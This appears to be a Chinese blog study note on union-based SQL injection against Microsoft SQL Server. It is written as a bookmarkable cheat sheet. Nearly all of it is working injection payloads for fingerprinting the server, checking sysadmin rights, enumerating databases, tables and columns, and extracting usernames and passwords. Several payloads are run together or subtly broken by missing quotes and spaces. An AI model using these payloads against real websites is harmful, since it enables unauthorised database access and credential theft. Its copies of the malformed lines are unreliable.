【学习笔记】Sqlserver/Mssql注入总结(一)

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
简介: 这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。

这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。



利用sys视图进行union注入


判断是不是sqlserver数据库:




id=1 and user>0    //看报错信息判断id =1 and (select count(*) from sysobjects)>0     //返回正常是sqlserverid =1 and (select count(*) from mysysobjects)>0     //返回错误可能是access



1.用order by 判断列数:





id=1' order by 3--       // Trueid=1' order by 4--       // False - 判断只有3列,有时候4报错,但是5回显正常,所以多加几个数字试试id=-1' UNION SELECT null,null,null--        //有时候可以尝试union all selectid=-1' UNION SELECT null,'2','3'--        //回显2和3列,这里要找到字符类型列,把null换成数字,如果报错说明试字符类型列,然后给数字加上'',就回显正常,因为只有在字符类型列才能查询出数据



2.爆数据库信息:





id=-1' UNION SELECT null,@@VERSION,'3'--          //查询sqlserver的版本id=-1' UNION SELECT null,@@SERVERNAME,'3'--          //查询sqlserver的主机名id=-1' UNION SELECT null,is_srvrolemember('sysadmin'),'3'--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断id=1' and ((select host_name())=(select @@SERVERNAME))--    //判断是否站库分离,返回正常则不是,返回错误则站库分离



3.爆数据库名:





id=-1' UNION SELECT null,DB_NAME(5),'3'--           //查询sqlserver的第5个数据库名,5可以遍历
id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where dbid>4),'3'--       //查询sqlserver的数据库名,dbid可以遍历,查询别的数据库名


或者用and加条件,不用dbid:



id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where name <>'test'),'3'--       //查询sqlserver的数据库名,并且数据库名不等于test,也可以使用!=,不断加and条件即可


或者使用not in():



id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where name not in('test')),'3'--    //查询sqlserver的数据库名,并且数据库名不等于test



4.查询表名:





id=-1' UNION SELECT null,(select top 1 name from 数据库名..sysobjects where xtype='u'),'3'--    //查询数据库名的表名
id=-1' UNION SELECT null,(select top 1 name from 数据库名..sysobjects where xtype='u' and name <>'test' and name <>'manage'),'3'--     //查询数据库名的表名,并且表名不等于test和manage,也可以用!=,不断加and条件即可


或者用not in():


id=-1' UNION SELECT null,(select top 1 name from 数据库名..sysobjects where xtype='u' and name not in(test','manage'),'3'--



5.查询列名:


id=-1' union all select null,(select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage') and name <>'id'),'3'--   //查询manage表的列名,并且列名不等于id,也可使用!=,不断添加and条件即可


或者使用not in():


id=-1' union all select null,(select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage') and name not in('id')),'3'--    //查询manage表的列名,并且列名不等于id


或者用下面这个:


id=-1' UNION SELECT null,(SELECT TOP 1 col_name (object_id('manage'),1) from sysobjects),'3'--                //查询manage表的列名,('manage')是表名,后面的1可以遍历,查询其他列名



6.查询数据:







id=-1' UNION SELECT null,(SELECT top 1 username from manage),'3'--//查询第一个usernmae的值
id=-1' UNION SELECT null,(SELECT top 1 username from manage where username <>'user1'),'3'--    //查询username的值并且不等于user1,可以使用!=


指定某个字段为条件查询:



id=-1' UNION SELECT null,(SELECT top 1 password from manage where username='user1'),'3'--//查询password的值,并且username等于user1


或者两个字段一并查询,用+号连接:



id=-1' UNION SELECT null,(SELECT top 1 quotename(username%2b'~'%2bpassword) from manage),'3'--//查询username+password,quotename()是用【】括起来,格式为【user1~pass1】




利用information_schema视图进行union注入


判断是不是sqlserver数据库:




id=1 and user>0    //看报错信息判断id =1 and (select count(*) from sysobjects)>0    //返回正常是sqlserverid =1 and (select count(*) from mysysobjects)>0    //返回错误可能是access



1.用order by 判断列数:





id=1' order by 3--       // Trueid=1' order by 4--       // False - 判断只有3列,有时候4报错,但是5回显正常,所以多加几个数字试试id=-1' UNION SELECT null,null,null--        //有时候可以尝试union all selectid=-1' UNION SELECT null,'2','3'--        //回显2和3列,这里要找到字符类型列,把null换成数字,如果报错说明试字符类型列,然后给数字加上'',就回显正常,因为只有在字符类型列才能查询出数据



2.爆数据库信息:




id=-1' UNION SELECT null,@@VERSION,'3'--          //查询sqlserver的版本id=-1' UNION SELECT null,@@SERVERNAME,'3'--          //查询sqlserver的主机名id=-1' UNION SELECT null,is_srvrolemember('sysadmin'),'3'--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断



3.爆数据库名:







id=1' UNION SELECT null,(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA),'3'--    //只能查询当前数据库名
id=-1' UNION SELECT null,DB_NAME(5),'3'--                //查询sqlserver的第5个数据库名,5可以遍历
id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where dbid>4),'3'--       //查询sqlserver的数据库名,dbid可以遍历查询别的数据库名


或者用and加条件,不用dbid:



id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases wherename <>'test'),'3'--       //查询sqlserver的数据库名,并且数据库名不等于test,也可以使用!=,不断加and条件即可


或者用not in():



id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where name not in('test')),'3'--       //查询sqlserver的数据库名,并且数据库名不等于test



4.查询表名:



id=-1' UNION SELECTnull,(SELECT TOP 1 table_name FROM information_schema.tables),'3'--    //查询数据库名的表名id=-1' UNION SELECT null,(select top 1table_name FROM information_schema.tables where table_name <>'manage'),'3'--    //查询数据库名的表名,并且表名不等于test和manage,也可以使用!=,不断加and条件即可


或者用下面这个:


id=-1' UNION SELECT null,(select top 1 table_name FROM information_schema.tables where table_namenot in(test','manage'),'3'--



5.查询列名:




id=-1' UNION SELECT null,(SELECT top 1 column_name from information_schema.columns where table_name='manage' ),'3'--                //查询manage表第一个列名
id=-1' UNION SELECT null,(SELECT top 1 column_name from information_schema.columns where table_name='manage' and column_name <>'id'),'3'--       //查询manage表的列名,并且列名不等与id,也可以使用!=,不断加and条件即可



6.查询数据:



id=-1' UNION SELECT null,(SELECT top 1 username from manage where username <>'user1'),'3'--    //查询username的值并且不等于user1,可以使用!=


或者使用not in():



id=-1' UNION SELECT null,(SELECT top 1 username from manage where username not in('user1')),'3'--//查询usernmae的值,并且username不等于user1


指定条件查数据:



id=-1' UNION SELECT null,(SELECT top 1 password from manage where username='user1'),'3'--//查询password的值,并且username等于user1


或者两个字段一并查询,用+号连接:



id=-1' UNION SELECT null,(SELECT top 1 quotename(username%2b'~'%2bpassword) from manage),'3'--//查询username+password,quotename()是用【】括起来,格式为【user1~pass1】
相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS&nbsp;SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
SQL 存储 关系型数据库
MSSQL之一 数据库系统简介 与SQL Server 2008概述
MSSQL之一 数据库系统简介 与SQL Server 2008概述
129 0
|
SQL
MSSQL系列之十二Sql Server 2005安装
MSSQL系列之十二Sql Server 2005安装
91 0
|
SQL 存储 数据可视化
MSSQL之二 Sql Server中管理库与表
MSSQL之二 Sql Server中管理库与表
93 0
|
SQL 安全 Java
6. 成功解决:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed.
在使用 Kettle(Spoon) 工具创建 SQL Server 数据库连接时,提示:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed. com.microsoft.sqlserver.jdbc.SQLServerDriver
1692 1
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(三)
这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
230 0
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(二)
这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
237 0
|
SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
77 0
|
SQL Go
SQLServer 学习笔记之超详细基础SQL语句 Part 11
SQLServer 学习笔记之超详细基础SQL语句 Part 11
130 0
|
5月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
134 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
1月前
|
数据库 Windows
SqlServer数据恢复—SqlServer数据库所在分区损坏的数据恢复案例
一块硬盘上存放的SqlServer数据库,windows server操作系统+NTFS文件系统。由于误操作导致分区损坏,需要恢复硬盘里的SqlServer数据库数据。

热门文章

最新文章